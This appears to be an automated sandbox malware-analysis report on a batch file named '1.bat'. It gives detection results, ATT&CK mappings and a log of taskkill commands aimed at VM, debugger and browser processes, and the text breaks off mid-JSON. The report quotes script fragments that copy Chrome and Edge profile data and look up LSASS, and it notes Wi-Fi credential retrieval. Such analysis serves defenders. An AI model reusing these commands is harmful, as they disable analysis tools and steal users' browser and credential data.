Spawned process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00003712) Spawned process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00002544) Spawned process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00003084) Spawned process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00003188) Spawned process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00001944) Spawned process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00003184) Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00003496) Spawned process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00004944) Spawned process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00006496) Spawned process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00003604) Spawned process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00003540) Spawned process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00003216) Spawned process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00005704) Spawned process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00003784) Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00007172) Spawned process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00005256) Spawned process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00005772) Spawned process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00005608) Spawned process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00005472) Spawned process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00005800) Spawned process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00006684) Spawned process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00006660) Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00006100) Spawned process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00006048) Spawned process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00005872) Spawned process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00005876) Spawned process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00006536) Spawned process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00007132) Spawned process "taskkill.exe" with commandline "taskkill kvm" (UID: 00000000-00008020) Spawned process "taskkill.exe" with commandline "taskkill wsl.exe" (UID: 00000000-00003008) Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe 23" (UID: 00000000-00004808) Spawned process "taskkill.exe" with commandline "taskkill dbg" (UID: 00000000-00002964) Spawned process "taskkill.exe" with commandline "taskkill vmware" (UID: 00000000-00004252) Spawned process "taskkill.exe" with commandline "taskkill virtualbox" (UID: 00000000-00003316) Spawned process "taskkill.exe" with commandline "taskkill hypervisor" (UID: 00000000-00007880) Spawned process "taskkill.exe" with commandline "taskkill qemu" (UID: 00000000-00006792)1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"b62912c1a80c836ab9b8704dafbf7158e86f7505d1e4464cd75c699afd323c65","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":83,"unified_at_epoch_ms":1791498870962,"unified_at":"2026-10-08T22:34:30.962Z","metadata":{"hashes":{"sha256":"b62912c1a80c836ab9b8704dafbf7158e86f7505d1e4464cd75c699afd323c65","sha1":"234b116019364d1b388afdbf0d472511c0f7c149","md5":"e289249ffab776b84260cebc3eb50be1","sha512":"ff888d2eea169ad3448dc1c08869f426e3b900e591e064f845055ed9d4cf6b4589b4e0317691e82ab1137bbc6e93d56a6a15b9d4c576c475c12ca10ae235376f","ssdeep":"48:lnPgDrtidubgDrVWid+MToeUUpp49aJHIaJhR81O:qDzcDhjvnUUxvJhR84","ssdeep_chunks":["48:lnPgDrt","48:nPgDrti","48:PgDrtid","48:gDrtidu","48:Drtidub","48:rtidubg","48:tidubgD","48:idubgDr","48:dubgDrV","48:ubgDrVW","48:bgDrVWi","48:gDrVWid","48:DrVWid+","48:rVWid+M","48:VWid+MT","48:Wid+MTo","48:id+MToe","48:d+MToeU","48:+MToeUU","48:MToeUUp","48:ToeUUpp","48:oeUUpp4","48:eUUpp49","48:UUpp49a","48:Upp49aJ","48:pp49aJH","48:p49aJHI","48:49aJHIa","48:9aJHIaJ","48:aJHIaJh","48:JHIaJhR","48:HIaJhR8","48:IaJhR81","48:aJhR81O","96:lnPgDrt","96:nPgDrti","96:PgDrtid","96:gDrtidu","96:Drtidub","96:rtidubg","96:tidubgD","96:idubgDr","96:dubgDrV","96:ubgDrVW","96:bgDrVWi","96:gDrVWid","96:DrVWid+","96:rVWid+M","96:VWid+MT","96:Wid+MTo","96:id+MToe","96:d+MToeU","96:+MToeUU","96:MToeUUp","96:ToeUUpp","96:oeUUpp4","96:eUUpp49","96:UUpp49a","96:Upp49aJ","96:pp49aJH","96:p49aJHI","96:49aJHIa","96:9aJHIaJ","96:aJHIaJh","96:JHIaJhR","96:HIaJhR8","96:IaJhR81","96:aJhR81O","48:qDzcDhj","48:DzcDhjv","48:zcDhjvn","48:cDhjvnU","48:DhjvnUU","48:hjvnUUx","48:jvnUUxv","48:vnUUxvJ","48:nUUxvJh","48:UUxvJhR","48:UxvJhR8","48:xvJhR84"],"imphash":"Unknown"},"file_info":{"file_name":"1.bat","file_type":["script","bat"],"file_type_id":"bat","file_size":1963,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1791498798000,"last_seen":1791498798000,"last_multi_scan":1791498798000}},"detections":{"summary":{"verdict":"malicious","score":83,"tags":null},"stats":{"av":{"malicious_count":3,"suspicious_count":0,"total_engines":23},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":32},"sandbox_signatures":{"informative_count":49,"suspicious_count":7,"malicious_count":5,"total":61},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"PUA/AmsiBypass.T","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Generic.AMSI.Disable.A.D3F57963","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Generic.AMSI.Disable.A.D3F57963 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"AMSI.Disable.A.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Creates multiple processes"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1547.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/006","identifiers":[{"type":"suspicious","value":"References suspicious system modules"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"suspicious","value":"Contains ability to elevate privileges using Mimikatz"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Credential Access","technique":"Unsecured Credentials","attack_id":"T1552","attack_id_wiki":"https://attack.mitre.org/techniques/T1552","identifiers":[{"type":"informative","value":"Contains ability to search for patterns of text (possibly credentials) in files"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Credential Access","technique":"LSASS Memory","attack_id":"T1003.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1003/001","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve the current user information"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Able to find string content in a file"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"suspicious","value":"Able to retrieve local network connections"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Able to access file/directory"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (executable)"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve TCP/IP network configuration"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Discovery","technique":"Wi-Fi Discovery","attack_id":"T1016.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/002","identifiers":[{"type":"informative","value":"Able to retrieve Wi-Fi network credential in a non-encrypted format using netsh"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Loads the debugger/analysis tool module"},{"type":"informative","value":"Contains system command string that can search for a specific process"},{"type":"informative","value":"May check for the presence of a forensics/monitoring tool"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes"},{"type":"malicious","value":"Spawns many processes"},{"type":"malicious","value":"Attempts to stop multiple expected running processes on the machine"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Discovery","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"suspicious","value":"Monitors specific registry key for changes"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Collection","technique":"Archive via Utility","attack_id":"T1560.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/001","identifiers":[{"type":"informative","value":"Contains ability to copy files using xcopy"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"malicious","value":"Terminates other processes using tskill/taskkill"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Stealth","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Stealth","technique":"Run Virtual Instance","attack_id":"T1564.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/006","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Stealth","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"tactic":"Defense Impairment","technique":"Disable or Modify Tools","attack_id":"T1685","attack_id_wiki":"https://attack.mitre.org/techniques/T1685","identifiers":[{"type":"malicious","value":"Uses tskill/taskkill excessively (often used to disable security tools)"},{"type":"informative","value":"Modifies process error mode to suppress error dialogs"}],"sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"taskkill.exe\" loaded module \"%WINDIR%\\System32\\dbghelp.dll\" at A2560000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"cmd.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"cmd.exe\" set its error mode to SEM_NOOPENFILEERRORBOX","origin":"API Call","mitre_attack_id":"T1685","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"May check for the presence of a forensics/monitoring tool","description":"Found string \"%WINDIR%\\system32\\taskkill.exe\" (Indicator: \"taskkill.exe\"; Source: \"00000000-00000788-00000C47-374041648\")\n Found string \"%WINDIR%\\System32\\taskkill.exe\" (Indicator: \"taskkill.exe\"; Source: \"00000000-00000788-00000BC0-1941624670\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":3,"id":"string-45","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Able to retrieve Wi-Fi network credential in a non-encrypted format using netsh","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access file/directory","description":"file/memory contains long string with (Indicator: \"mkdir \"; File: \"1.bat\")\n Found string \"mkdir \"%DestDir%\" 2>nul\" (Indicator: \"mkdir \"; File: \"1.bat\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-779","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Environment Awareness","name":"Able to find string content in a file","description":"file/memory contains long string(File: \"1.bat\")\n Found string \"pid=tasklist | findstr lssas.exe\" (File: \"1.bat\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-688","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"cmd.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00000788)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"cmd.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00000788)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$25","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"DEFAULTLEVEL\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"Found string \"set \"ChromeDir=%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\"\" (Indicator: \"set \"; File: \"1.bat\")\n Found string \"set \"DestDir=%USERPROFILE%\\ChromeBackup\"\" (Indicator: \"set \"; File: \"1.bat\")\n Found string \"set \"EdgeDir=%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\"\" (Indicator: \"set \"; File: \"1.bat\")\n Found string \"set \"DestDir=%USERPROFILE%\\EdgeBackup\"\" (Indicator: \"set \"; File: \"1.bat\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the current user information","description":"$26","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-432","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"cmd.exe\" called \"CreateProcessW\" with parameter \"taskkill dbg\" - (UID: 00000000-00000788)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"taskkill vmware\" - (UID: 00000000-00000788)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"taskkill virtualbox\" - (UID: 00000000-00000788)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"taskkill hypervisor\" - (UID: 00000000-00000788)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"taskkill qemu\" - (UID: 00000000-00000788)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"taskkill kvm\" - (UID: 00000000-00000788)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"taskkill wsl.exe\" - (UID: 00000000-00000788)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"taskkill /F /IM chrome.exe 23\" - (UID: 00000000-00000788)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"\"cmd.exe\" called \"GetProcAddress\" with a parameter RtlGetVersion (UID: 00000000-00000788)\n \"cmd.exe\" called \"GetProcAddress\" with a parameter CoCreateInstance (UID: 00000000-00000788)\n \"cmd.exe\" called \"GetProcAddress\" with a parameter CoCreateInstanceEx (UID: 00000000-00000788)\n \"cmd.exe\" called \"GetProcAddress\" with a parameter CoGetClassObject (UID: 00000000-00000788)\n \"cmd.exe\" called \"GetProcAddress\" with a parameter CoGetInstanceFromFile (UID: 00000000-00000788)\n \"cmd.exe\" called \"GetProcAddress\" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00000788)\n \"cmd.exe\" called \"GetProcAddress\" with a parameter FlsGetValue (UID: 00000000-00000788)","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"General","name":"Creates multiple processes","description":"\"taskkill.exe\" created multiple process","origin":"Monitored Target","mitre_attack_id":"T1106","relevance":1,"id":"target-719","sources":[{"report_type":"sandbox","report_id":"6ac81a2eb6be286a53016b90"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"/c \"\"C:\\\\1.bat\" \"\" (UID: 00000000-00000788)","origin":"Monitored 